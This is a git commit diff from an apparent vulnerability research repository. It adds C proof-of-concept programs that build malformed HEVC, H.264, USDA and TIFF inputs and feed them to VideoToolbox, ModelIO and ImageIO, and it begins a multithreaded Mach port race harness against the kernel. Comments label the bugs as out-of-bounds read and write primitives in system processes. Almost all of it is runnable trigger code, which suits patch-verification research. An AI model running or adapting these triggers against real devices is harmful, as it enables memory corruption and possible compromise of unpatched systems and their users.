v2.0 — 31 C POC twins + harness fixes

- 31 C POC files, one per CVE folder: full seed construction + trigger +
  main(), self-contained, no app dependency. All compile clean with
  clang -O2 -Wall (zero warnings) on macOS arm64; each has a recorded
  oracle on this host.
- CMGetDMVersionLevelFromRPU ABI pinned by disassembly: macOS export is
  (CFDataRef), the Swift POC drives the 4-arg iOS surface — this is the
  mechanism behind the cm.rpu death oracle on the simulator build.
- Harness fixes: glyphCount guard, MachOInspector size guard, ModTools
  clamp, DeviceModel iPhone19,7, GPTPayload clamps, Gate patch display.
- POC comments rewritten English-only (31 swift + arc.rr + 5 py).
- README (en/zh): C twin column, .c anatomy section, compile/run
  examples, C oracle verification status.
- Dead if-let binding removed from Identity summary; v2.0 build 3.
This commit is contained in:
JBJF committed 2026-10-29 20:08:55 +08:00
1 parent 1ea76ab005
commit 7949c7ce9f
79 files changed
+4108 -891

No files matched your search

+20
View File
@@ -10,5 +10,25 @@ deep_nest.usda
ktx2_bad_dims.ktx2 ktx2_bad_dims.ktx2
stack_bomb.cff stack_bomb.cff
# C POC twin default outputs (written to CWD when run without arguments)
avc_900_slices.h264
bc7_short.dds
cinder27_traversal_probe.txt
cmap_probe.pdf
crash_shading_r136.pdf
decmpfs_probe.bin
direntry_wrap.tif
gdef_caret_chase.ttf
gps_oob.jpg
gpt_overlong_name.img
hevc_bad_layer.hevc
joliet_oob.iso
marker_length.jpg
planar_scatter.tif
rpu_probe_1x6.bin
traversal.zip
trunc_strip.tif
usercomment_oob.jpg
# macOS # macOS
.DS_Store .DS_Store
+68
View File
@@ -0,0 +1,68 @@
// vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
// HEVC layer id outside the validated range
// C twin of the Swift POC: builds the bad-layer-id HEVC stream and drives it through
// CMVideoFormatDescriptionCreateFromHEVCParameterSets.
// Build: clang -O2 -o cve-2026-112415 CVE-2026-112415.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
// Run: ./cve-2026-112415 [layer-id]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: VideoPayload.hevcBadLayerID) ──
static buf hevc_bad_layer_id(uint8_t layer_id) {
buf out = {0};
bcat(&out, "\x00\x00\x00\x01", 4); // Annex-B start code
// VPS NAL, two-byte header carrying the out-of-range layer id
bcat(&out, (uint8_t[]){0x40, 0x01, layer_id, 0x0C, 0x01, 0xFF, 0xFF, 0x01, 0x60}, 9);
bcat(&out, "\x00\x00\x00\x01", 4);
bcat(&out, (uint8_t[]){0x42, 0x01, layer_id, 0x01, 0x60, 0x00}, 6); // SPS
brep(&out, 0, 16);
return out;
}
// ── trigger: parameter-set parse through VideoToolbox ──
#include <VideoToolbox/VideoToolbox.h>
#include <CoreMedia/CoreMedia.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
uint8_t layer_id = argc > 1 ? (uint8_t)strtoul(argv[1], NULL, 0) : 0x3F;
buf data = hevc_bad_layer_id(layer_id);
FILE *f = fopen("hevc_bad_layer.hevc", "wb");
if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
CMFormatDescriptionRef format = NULL;
const uint8_t *ptr = data.d;
OSStatus status = CMVideoFormatDescriptionCreateFromHEVCParameterSets(
kCFAllocatorDefault,
1, // one parameter set: the whole buffer
&ptr,
(size_t[]){data.n},
4, // 4-byte NAL unit header length
NULL,
&format);
printf("CVE-2026-112415 · layer id 0x%02x · OSStatus %d\n", layer_id, (int)status);
if (format) {
CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
CFRelease(format);
} else {
printf("no format description produced (rejected at entry)\n");
}
printf("seed: hevc_bad_layer.hevc (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
int rc = status == noErr ? 0 : 1;
bfree(&data);
return rc;
}
+4 -15
View File
@@ -1,19 +1,8 @@
// vid.hevc · AVD.videodecoder 插件 · CVE-2026-112415 // vid.hevc · AVD.videodecoder plugin · CVE-2026-112415
// 原语: OOB 读 · 系统进程 · tier 2 // MVHEVC layer id out of range
// Primitive: OOB read · system process · tier 2
//
// [zh] MVHEVC 层 ID 越界
// 多层 HEVC 的 layer id 在 27.0 未做范围校验,越界值直接进入插件的层表索引。27.2 补入层 ID 校验。
//
// [en] MVHEVC layer id out of range
// Multilayer HEVC layer ids are not range-checked on 27.0, so an out-of-range value goes straight
// into the plugin's layer table index. iOS 27.2 adds layer id validation.
// ── 判别 / oracle ──
// 层 ID 取 0x3F(有效范围之外)。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -34,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── // ── seed construction (from Cinder27 Sources: VideoPayload) ──
enum VideoPayload { enum VideoPayload {
static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data { static func hevcBadLayerID(layerID: UInt8 = 0x3F) -> Data {
var out = Data() var out = Data()
+72
View File
@@ -0,0 +1,72 @@
// vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// H.264 slice count beyond the plugin cap
// C twin of the Swift POC: builds the 900-slice AVC stream and drives it through
// CMVideoFormatDescriptionCreateFromH264ParameterSets.
// Build: clang -O2 -o cve-2026-112416 CVE-2026-112416.c -framework VideoToolbox -framework CoreMedia -framework CoreFoundation
// Run: ./cve-2026-112416 [slice-count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: VideoPayload.avcManySlices) ──
static buf avc_many_slices(int slice_count) {
buf out = {0};
bcat(&out, "\x00\x00\x00\x01", 4); // start code
bcat(&out, (uint8_t[]){0x67, 0x42, 0x00, 0x1E}, 4); // SPS
bcat(&out, (uint8_t[]){0xE8, 0x38, 0x00}, 3); // exp-golomb fields
brep(&out, 0, 8); // structurally plausible tail
bcat(&out, "\x00\x00\x00\x01", 4);
bcat(&out, (uint8_t[]){0x68, 0xCE, 0x38, 0x80}, 4); // PPS
for (int i = 0; i < slice_count; i++) {
bcat(&out, "\x00\x00\x00\x01", 4);
bcat(&out, (uint8_t[]){0x65, (uint8_t)(0x88 | (i & 0x03)), 0x84, 0x00}, 4); // slice header
brep(&out, 0, 4);
}
return out;
}
// ── trigger: parameter-set parse through VideoToolbox ──
#include <VideoToolbox/VideoToolbox.h>
#include <CoreMedia/CoreMedia.h>
#include <CoreFoundation/CoreFoundation.h>
int main(int argc, char **argv) {
int slice_count = argc > 1 ? atoi(argv[1]) : 900;
buf data = avc_many_slices(slice_count);
FILE *f = fopen("avc_900_slices.h264", "wb");
if (f) { fwrite(data.d, 1, data.n, f); fclose(f); }
CMFormatDescriptionRef format = NULL;
const uint8_t *ptr = data.d;
OSStatus status = CMVideoFormatDescriptionCreateFromH264ParameterSets(
kCFAllocatorDefault,
1, // one parameter set: the first 4 bytes, as the Swift POC passes
&ptr,
(size_t[]){4},
4, // 4-byte NAL unit header length
&format);
printf("CVE-2026-112416 · %d slices in stream · OSStatus %d\n", slice_count, (int)status);
if (format) {
CMVideoDimensions dims = CMVideoFormatDescriptionGetDimensions(format);
printf("decoder accepted the parameter set · dimensions %d x %d\n", dims.width, dims.height);
CFRelease(format);
} else {
printf("no format description produced (rejected at entry)\n");
}
printf("seed: avc_900_slices.h264 (%zu B) · exit code %d\n", data.n, (int)(status == noErr ? 0 : 1));
int rc = status == noErr ? 0 : 1;
bfree(&data);
return rc;
}
+4 -18
View File
@@ -1,22 +1,8 @@
// vid.avc · AVD.videodecoder 插件(非 kext) · CVE-2026-112416 // vid.avc · AVD.videodecoder plugin (userspace, not kext) · CVE-2026-112416
// 原语: OOB 写 · 系统进程 · tier 2 // AVC slice count cap missing
// Primitive: OOB write · system process · tier 2
//
// [zh] AVC 切片数量上限缺失
// 该组三个 CVE 的修复载体均为进程内的 AVD.videodecoder 插件,而非 kext:112416 为切片数量上限(\"too many slices!\"),112415 为
// MVHEVC 层 ID 校验,112454 为直方图 IOSurface 指针改为随机 cookie。
//
// [en] AVC slice count cap missing
// The fix carrier for all three CVEs in this group is the in-process AVD.videodecoder plugin, not
// a kext: 112416 is the slice count cap ("too many slices!"), 112415 is MVHEVC layer-id validation,
// and 112454 replaces the histogram IOSurface pointer with a random cookie.
// ── 判别 / oracle ──
// 经 NAL 验证的单变量对照为 32 切片 → 900 切片。本模块构造 900 切片结构并交由 CMVideoFormatDescription / VTDecompressionSession,
// 以插件自身错误码判定。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -37,7 +23,7 @@ enum B {
static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) } static func ascii(_ s: String) -> [UInt8] { Array(s.utf8) }
} }
// ── 种子构造 / seed construction — verbatim from Cinder27 Sources (VideoPayload) ── // ── seed construction (from Cinder27 Sources: VideoPayload) ──
enum VideoPayload { enum VideoPayload {
static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data { static func avcManySlices(sliceCount: Int = 900, width: Int = 64, height: Int = 64) -> Data {
var out = Data() var out = Data()
+76
View File
@@ -0,0 +1,76 @@
// mdl.usda · ModelIO / libusd_ms · USDA declaration nesting · CVE-2026-112485
// Unbounded recursion on deeply nested USDA definitions
// C twin of the Swift POC: builds the 2000-deep Xform USDA and loads it through
// MDLAsset (objc runtime casts; libusd_ms runs underneath ModelIO).
// Build: clang -O2 -o cve-2026-112485 CVE-2026-112485.c -framework ModelIO -framework CoreFoundation -lobjc
// Run: ./cve-2026-112485 [depth]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <objc/runtime.h>
#include <objc/message.h>
#include <CoreFoundation/CoreFoundation.h>
// ── seed construction (from CVE-2026-112485.py: build_usda) ──
static char *build_usda(int depth, size_t *out_n) {
// head + 'def Xform "nI" {' * depth + '}' * depth + newline
const char *head = "#usda 1.0\n\n";
size_t open_len = strlen("def Xform \"n0000\" {");
size_t head_n = strlen(head);
size_t body_n = (size_t)depth * open_len;
size_t tail_n = (size_t)depth;
char *out = malloc(head_n + body_n + tail_n + 2);
size_t n = 0;
memcpy(out, head, head_n); n = head_n;
for (int i = 0; i < depth; i++) {
n += (size_t)snprintf(out + n, open_len + 1, "def Xform \"n%d\" {", i);
}
memset(out + n, '}', (size_t)depth); n += (size_t)depth;
out[n++] = '\n';
out[n] = 0;
*out_n = n;
return out;
}
// ── trigger: MDLAsset(url:) + count (objc_msgSend casts, arm64) ──
static id (*msg_id)(id, SEL); // alloc
static id (*msg_id_url)(id, SEL, CFURLRef); // initWithURL:
static unsigned long (*msg_ul)(id, SEL); // count
int main(int argc, char **argv) {
int depth = argc > 1 ? atoi(argv[1]) : 2000;
msg_id = (id (*)(id, SEL))objc_msgSend;
msg_id_url = (id (*)(id, SEL, CFURLRef))objc_msgSend;
msg_ul = (unsigned long (*)(id, SEL))objc_msgSend;
size_t n = 0;
char *usda = build_usda(depth, &n);
FILE *f = fopen("deep_nest.usda", "wb");
if (f) { fwrite(usda, 1, n, f); fclose(f); }
printf("USDA %zu B · %d levels of nesting\n", n, depth);
CFURLRef url = CFURLCreateWithFileSystemPath(NULL,
CFSTR("deep_nest.usda"), kCFURLPOSIXPathStyle, false);
Class mdlAsset = objc_getClass("MDLAsset");
if (!mdlAsset) { printf("MDLAsset class unavailable\n"); return 1; }
clock_t t0 = clock();
id asset = msg_id_url(msg_id((id)mdlAsset, sel_registerName("alloc")),
sel_registerName("initWithURL:"), url);
double ms = (double)(clock() - t0) / CLOCKS_PER_SEC * 1000.0;
if (!asset) {
printf("CVE-2026-112485 · MDLAsset returned nil after %.0f ms\n", ms);
} else {
unsigned long count = msg_ul(asset, sel_registerName("count"));
printf("CVE-2026-112485 · MDLAsset load complete %.0f ms, objects %lu\n", ms, count);
}
printf("seed: deep_nest.usda · libusd_ms caps nesting in 24.1.32, 27.0 recurses unbounded\n");
CFRelease(url);
free(usda);
return 0;
}
-19
View File
@@ -1,23 +1,4 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
# 原语: OOB 读 · 进程内 | Primitive: OOB read · in-process
#
# [zh] USDA 声明嵌套深度
# Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
# 尺寸检查。ModelIO.dylib 自身不含任何修复。
#
# [en] USDA declaration nesting depth
# The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
# Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
# itself carries none of the fix.
#
# 种子生成 — verbatim from Cinder27/scripts/gen_seeds.py
# 触发器(run 闭包)与非种子构建器: 同目录 CVE-2026-112485.swift
# triggers (run closures) & non-seed builders: CVE-2026-112485.swift in this folder
# --------------------------------------------------------------------------- USDA nesting
def build_usda(depth=2000): def build_usda(depth=2000):
"""libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded.""" """libusd_ms 24.1.30 caps USDA declaration nesting in 24.1.32; 27.0 recurses unbounded."""
head = "#usda 1.0\n\n" head = "#usda 1.0\n\n"
+3 -19
View File
@@ -1,24 +1,9 @@
// mdl.usda · Model I/O · libusd_ms · CVE-2026-112485 // mdl.usda · Model I/O · libusd_ms · CVE-2026-112485
// 原语: OOB 读 · 进程内 · tier 2 // USDA declaration nesting depth
// Primitive: OOB read · in-process · tier 2 // Standalone builder: CVE-2026-112485.py
//
// [zh] USDA 声明嵌套深度
// Model I/O 的修复载体为 libusd_ms 24.1.30 → 24.1.32:经 64 位检查的图像分配、Ptex log2 与页保护、USDA 声明嵌套上限、SdfZipFile
// 尺寸检查。ModelIO.dylib 自身不含任何修复。
//
// [en] USDA declaration nesting depth
// The fix carrier for Model I/O is libusd_ms 24.1.30 → 24.1.32: 64-bit checked image allocation,
// Ptex log2 and page guards, a USDA declaration nesting cap, and SdfZipFile size checks. ModelIO.dylib
// itself carries none of the fix.
// ── 判别 / oracle ──
// 2000 层嵌套的 def Xform。27.2 会在嵌套上限处拒绝,27.0 递归下去。
//
// 种子构建器(python,可直接运行): CVE-2026-112485/CVE-2026-112485.py
// runnable python seed builder: CVE-2026-112485/CVE-2026-112485.py
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -40,4 +25,3 @@ enum B {
} }
+86
View File
@@ -0,0 +1,86 @@
// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488
// TIFF directory entry allocation 32-bit truncation
// C twin of the Swift POC: builds the wrapped-count TIFF and decodes it through ImageIO.
// Build: clang -O2 -o cve-2026-112488 CVE-2026-112488.c -framework ImageIO -framework CoreGraphics -framework CoreFoundation
// Run: ./cve-2026-112488 [count]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
// ── byte buffer ──
typedef struct { uint8_t *d; size_t n, cap; } buf;
static void bneed(buf *b, size_t extra) {
if (b->n + extra > b->cap) { b->cap = (b->n + extra) * 2 + 64; b->d = realloc(b->d, b->cap); }
}
static void bput(buf *b, uint8_t v) { bneed(b, 1); b->d[b->n++] = v; }
static void bcat(buf *b, const void *p, size_t n) { bneed(b, n); memcpy(b->d + b->n, p, n); b->n += n; }
static void brep(buf *b, uint8_t v, size_t n) { bneed(b, n); memset(b->d + b->n, v, n); b->n += n; }
static void bfree(buf *b) { free(b->d); b->d = NULL; b->n = b->cap = 0; }
// ── seed construction (from Cinder27 Sources: TIFFPayload.dirEntryAllocWrap) ──
static buf tiff_dir_entry_wrap(uint32_t count) {
buf out = {0};
bcat(&out, "II\x2a\x00", 4); // little-endian TIFF
bput(&out, 8); bput(&out, 0); bput(&out, 0); bput(&out, 0); // IFD0 at 8
bput(&out, 3); bput(&out, 0); // 3 entries
// entry: ImageWidth SHORT 1 = 1
bput(&out, 0); bput(&out, 1);
bput(&out, 3); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
// entry: ImageLength SHORT 1 = 1
bput(&out, 1); bput(&out, 1);
bput(&out, 3); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
bput(&out, 1); bput(&out, 0); bput(&out, 0); bput(&out, 0);
// entry: wrapped-count carrier, SBYTE (type 6) array, count << 0 wraps at 32 bits
bput(&out, 0x00); bput(&out, 0x01);
bput(&out, 6); bput(&out, 0);
bcat(&out, (uint8_t[]){count & 0xff, (count >> 8) & 0xff, (count >> 16) & 0xff, (count >> 24) & 0xff}, 4);
bcat(&out, (uint8_t[]){64, 0, 0, 0}, 4); // value offset 64
bput(&out, 0); bput(&out, 0); bput(&out, 0); bput(&out, 0); // next IFD
brep(&out, 0, 64); // value area
return out;
}
// ── trigger: decode through ImageIO ──
#include <ImageIO/ImageIO.h>
#include <CoreGraphics/CoreGraphics.h>
#include <CoreFoundation/CoreFoundation.h>
static int decode_image(const buf *img, const char **detail) {
CFDataRef cf = CFDataCreate(NULL, img->d, (CFIndex)img->n);
if (!cf) { *detail = "CFDataCreate failed"; return -1; }
CGImageSourceRef src = CGImageSourceCreateWithData(cf, NULL);
CFRelease(cf);
if (!src) { *detail = "CGImageSourceCreateWithData refused the file"; return -1; }
size_t frames = CGImageSourceGetCount(src);
CGImageRef cg = CGImageSourceCreateImageAtIndex(src, 0, NULL);
static char r[256];
if (cg) {
snprintf(r, sizeof r, "decoded %zu x %zu, %zu frame(s)",
(size_t)CGImageGetWidth(cg), (size_t)CGImageGetHeight(cg), frames);
CGImageRelease(cg);
} else {
snprintf(r, sizeof r, "decode refused at index 0 (%zu frame(s) declared)", frames);
}
CFRelease(src);
*detail = r;
return cg ? 0 : -1;
}
int main(int argc, char **argv) {
uint32_t count = argc > 1 ? (uint32_t)strtoul(argv[1], NULL, 0) : 0x20000000;
buf tiff = tiff_dir_entry_wrap(count);
FILE *f = fopen("direntry_wrap.tif", "wb");
if (f) { fwrite(tiff.d, 1, tiff.n, f); fclose(f); }
const char *detail = NULL;
int rc = decode_image(&tiff, &detail);
printf("CVE-2026-112488 · count=0x%08x type=SBYTE · %s\n", count, detail ? detail : "?");
printf("seed: direntry_wrap.tif (%zu B) · exit code %d\n", tiff.n, rc);
bfree(&tiff);
return rc == 0 ? 0 : 1;
}
+2 -17
View File
@@ -1,22 +1,8 @@
// iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488 // iio.tiff.direntry · ImageIO · TIFFReadDirEntry*Array · CVE-2026-112488
// 原语: OOB 写 · 进程内 · tier 2 // TIFF directory entry allocation 32-bit truncation
// Primitive: OOB write · in-process · tier 2
//
// [zh] TIFF 目录项分配 32 位截断
// 输出分配的大小以 lsl w0, count, #log2(elemsize) 计算,属 32 位截断。当 count = 0x20000000 且元素宽度为 8 字节时,分配结果回绕为 0,
// 而逐元素转换循环仍执行 count 次写入。27.2 改用 _TIFFCheckMalloc_type 的 64 位检查尺寸。
//
// [en] TIFF directory entry allocation 32-bit truncation
// The output allocation size is computed as lsl w0, count, #log2(elemsize) — a 32-bit truncation.
// With count = 0x20000000 and 8-byte elements the allocation wraps to zero while the per-element
// conversion loop still performs count writes. iOS 27.2 switches to _TIFFCheckMalloc_type's 64-bit
// checked size.
// ── 判别 / oracle ──
// 该原语的成立条件是 count×elemsize 跨越 2^32。本模块以一个 0x20000000 的 SBYTE 数组触发分配器,观察其返回空指针(干净拒绝)还是返回远小于请求的块(截断成立)。
import Foundation import Foundation
// ── byte helpers — verbatim from Cinder27 Sources/Kit.swift ── // ── byte helpers (from Cinder27 Sources/Kit.swift) ──
enum B { enum B {
static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] } static func be16(_ v: UInt16) -> [UInt8] { [UInt8(v >> 8 & 0xff), UInt8(v & 0xff)] }
static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] } static func le16(_ v: UInt16) -> [UInt8] { [UInt8(v & 0xff), UInt8(v >> 8 & 0xff)] }
@@ -38,4 +24,3 @@ enum B {
} }
+266
View File
@@ -0,0 +1,266 @@
// kern.ipc · XNU ipc_port.c request-table index consumers · CVE-2026-112507
// Mach port request-table stale-index race
// C twin of the Swift POC: 4 pthreads drive allocate/notify/teardown rings on the task
// port namespace for 6 s (depth 48, budget 6000). The 27.2 kernel added ipr != NULL /
// table != NULL checks over every index-consumer of the per-space port-request table.
// Build: clang -O2 -o cve-2026-112507 CVE-2026-112507.c -lpthread
// Run: ./cve-2026-112507 [seconds] [workers] [depth]
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <time.h>
#include <pthread.h>
#include <mach/mach.h>
#define TOTAL_BUDGET 6000
// ── shared stats (mutex-guarded, mirror of KernelIPC.Stats) ──
typedef struct {
long operations, allocations, notifications, sends, deallocations;
int budget_exhausted;
long notifications_refused;
long budget;
// kernel error codes, slot-hashed
int err_codes[32]; long err_counts[32]; char err_names[32][40]; int nerrs;
pthread_mutex_t lock;
} stats_t;
static stats_t S;
static void record(kern_return_t kr) {
if (kr == KERN_SUCCESS) return;
pthread_mutex_lock(&S.lock);
int slot = -1;
for (int i = 0; i < S.nerrs; i++) if (S.err_codes[i] == kr) { slot = i; break; }
if (slot < 0 && S.nerrs < 32) {
slot = S.nerrs++;
S.err_codes[slot] = kr;
const char *n = mach_error_string(kr);
snprintf(S.err_names[slot], sizeof S.err_names[slot], "%s", n ? n : "unknown");
}
if (slot >= 0) S.err_counts[slot]++;
pthread_mutex_unlock(&S.lock);
}
// ── the ring (mirror of KernelIPC.ring) ──
// allocate RECEIVE rights, arm two notification kinds per port, tear half the ring down
// while the other half still holds armed notifications — the interleaving the
// request-table index consumers have to survive.
//
// Resource discipline: mod_refs with a negative delta against a zero send-ref count
// does not return an error on this platform — it SIGKILLs the process. Check first.
typedef struct { long alloc, notify, send, dealloc; } ring_result;
static ring_result ring(mach_port_t task, int depth, int *budget, long *refused) {
ring_result r = {0, 0, 0, 0};
mach_port_name_t ports[512];
int nports = 0;
if (depth > 512) depth = 512;
for (int i = 0; i < depth; i++) {
if (*budget <= 0) break;
mach_port_name_t name = 0;
kern_return_t kr = mach_port_allocate(task, MACH_PORT_RIGHT_RECEIVE, &name);
if (kr == KERN_SUCCESS) {
ports[nports++] = name;
r.alloc++;
(*budget)--;
} else {
record(kr);
break;
}
}
// MACH_MSG_TYPE_MAKE_SEND on our own receive right keeps the port alive
for (int i = 0; i < nports; i++) {
mach_port_t p = ports[i];
mach_port_t prev = 0;
kern_return_t kr1 = mach_port_request_notification(
task, p, MACH_NOTIFY_SEND_POSSIBLE, 1, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev);
if (kr1 != KERN_SUCCESS) {
record(kr1);
if (kr1 == KERN_INVALID_CAPABILITY) (*refused)++;
}
if (prev != 0) mach_port_mod_refs(task, prev, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
mach_port_t prev2 = 0;
kern_return_t kr2 = mach_port_request_notification(
task, p, MACH_NOTIFY_DEAD_NAME, 0, p,
(mach_msg_type_name_t)MACH_MSG_TYPE_MAKE_SEND, &prev2);
if (kr2 != KERN_SUCCESS) {
record(kr2);
if (kr2 == KERN_INVALID_CAPABILITY) (*refused)++;
}
if (prev2 != 0) mach_port_mod_refs(task, prev2, MACH_PORT_RIGHT_SEND, -1);
r.notify++;
}
// teardown half the ring while the other half still holds armed notifications
for (int i = 0; i < nports; i += 2) {
mach_port_t p = ports[i];
mach_port_urefs_t refs = 0;
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &refs) == KERN_SUCCESS && refs > 0) {
kern_return_t kr = mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -1);
if (kr != KERN_SUCCESS) record(kr);
}
r.dealloc++;
}
for (int i = 1; i < nports; i += 2) {
mach_port_t p = ports[i];
mach_msg_header_t header;
memset(&header, 0, sizeof header);
header.msgh_bits = (mach_msg_bits_t)MACH_MSG_TYPE_COPY_SEND;
header.msgh_size = (mach_msg_size_t)sizeof header;
header.msgh_remote_port = p;
header.msgh_local_port = 0;
header.msgh_id = 0;
kern_return_t kr = mach_msg_send(&header);
if (kr != KERN_SUCCESS) record(kr);
r.send++;
}
// release every remaining right, then the name; destruct with delta 0 only
// succeeds once the right count is already 0
for (int i = 0; i < nports; i++) {
mach_port_t p = ports[i];
mach_port_urefs_t urefs = 0;
if (mach_port_get_refs(task, p, MACH_PORT_RIGHT_SEND, &urefs) == KERN_SUCCESS && urefs > 0) {
mach_port_mod_refs(task, p, MACH_PORT_RIGHT_SEND, -(mach_port_delta_t)urefs);
}
kern_return_t kr = mach_port_destruct(task, p, 0, 0);
if (kr != KERN_SUCCESS) {
// deliberate fallback: destroy tolerates outstanding rights
#pragma clang diagnostic push
#pragma clang diagnostic ignored "-Wdeprecated-declarations"
mach_port_destroy(task, p);
#pragma clang diagnostic pop
}
r.dealloc++;
}
return r;
}
static double g_seconds = 6.0;
static struct timespec g_deadline;
static int past_deadline(void) {
struct timespec now;
clock_gettime(CLOCK_MONOTONIC, &now);
if (now.tv_sec > g_deadline.tv_sec) return 1;
if (now.tv_sec == g_deadline.tv_sec && now.tv_nsec >= g_deadline.tv_nsec) return 1;
return 0;
}
static int g_depth = 48;
static void *worker(void *arg) {
(void)arg;
long local_alloc = 0, local_notify = 0, local_send = 0, local_dealloc = 0, local_ops = 0;
while (!past_deadline()) {
pthread_mutex_lock(&S.lock);
int remaining = (int)S.budget;
pthread_mutex_unlock(&S.lock);
if (remaining <= 0) {
pthread_mutex_lock(&S.lock);
S.budget_exhausted = 1;
pthread_mutex_unlock(&S.lock);
break;
}
int slice = g_depth < remaining ? g_depth : remaining;
long refused = 0;
ring_result res = ring(mach_task_self(), slice, &slice, &refused);
if (refused > 0) {
pthread_mutex_lock(&S.lock);
S.notifications_refused += refused;
pthread_mutex_unlock(&S.lock);
}
local_alloc += res.alloc;
local_notify += res.notify;
local_send += res.send;
local_dealloc += res.dealloc;
local_ops += 4;
pthread_mutex_lock(&S.lock);
S.budget -= res.alloc;
pthread_mutex_unlock(&S.lock);
}
pthread_mutex_lock(&S.lock);
S.operations += local_ops;
S.allocations += local_alloc;
S.notifications += local_notify;
S.sends += local_send;
S.deallocations += local_dealloc;
pthread_mutex_unlock(&S.lock);
return NULL;
}
// ── baseline (mirror of KernelIPC.baseline) ──
static void baseline(void) {
mach_port_t task = mach_task_self();
mach_port_t bootstrap = 0;
kern_return_t kr = task_get_special_port(task, TASK_BOOTSTRAP_PORT, &bootstrap);
printf("bootstrap: %s port=%d\n", mach_error_string(kr), bootstrap);
mach_port_name_array_t names = NULL;
mach_port_type_array_t types = NULL;
mach_msg_type_number_t name_count = 0, type_count = 0;
